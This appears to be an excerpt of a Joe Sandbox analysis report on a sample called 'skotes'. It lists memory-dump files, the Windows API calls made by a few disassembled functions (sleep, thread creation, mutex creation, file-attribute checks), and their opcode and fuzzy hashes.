Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 3523110a469b8d7392033d5cce5521efa0cec423e92fc505040cf8f5855a935c
Instruction ID: 3ce7b954ec56964f748f5c07389a3da10823ce3ad6b6dc61d0c590af6c1a4cbc
Opcode Fuzzy Hash: 3523110a469b8d7392033d5cce5521efa0cec423e92fc505040cf8f5855a935c
Instruction Fuzzy Hash: 27512A72901259EFDB10EF6ACC459AE77BCFF48310F11426AE510E7293E7789E528B50

Function 007A7590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,749A099C,?,00000000,007E9138,000000FF), ref: 007A75CC
CreateThread.KERNEL32(00000000,00000000,007A7430,00808638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 007A76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 007A76C9

Part of subcall function 007BD0C7: RtlWakeAllConditionVariable.NTDLL ref: 007BD17B

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 5a45a9d37a2adcb232e519c5e1454cdd4c468a28777eb6f87c8546841ddca184
Instruction ID: 932d1ebdc316f7debe511e5a0e2ed326b35a61448d5a53fce1662093452b9946
Opcode Fuzzy Hash: 5a45a9d37a2adcb232e519c5e1454cdd4c468a28777eb6f87c8546841ddca184
Instruction Fuzzy Hash: F251FF71200648EBEB58DF28CC89B8C3BA5FB55304F504629F865873D1EB7E9884CB95

Function 007A9BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007A9BA8
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7ac816dfaba76509947fc311adcf96e8f921f8196597fe4fa817734c316361a8
Instruction ID: 06ea7d3414c332d4b11beba5311e9576847e63ed3e767913cd353e9da47fcea2
Opcode Fuzzy Hash: 7ac816dfaba76509947fc311adcf96e8f921f8196597fe4fa817734c316361a8
Instruction Fuzzy Hash: 00312871604100DBEB18AB78DC897AEB7A6EFC6314F248319E014D73D6D77D9981C762

Function 007A9CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007A9CDD
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 49745a14bde415829ead4a55bb6f98498c9f66b9562e6362de05f72e9e3d3a45
Instruction ID: 6e3734fd7549e8cdade257990079638fa5116ca89d07df68fcc073288e307dce
Opcode Fuzzy Hash: 49745a14bde415829ead4a55bb6f98498c9f66b9562e6362de05f72e9e3d3a45
Instruction Fuzzy Hash: BF31F3317041009BEB18ABB8DC897AEB766EFC6314F248719E114A72D5D73D9991C722

Function 007A9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007A9F47
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
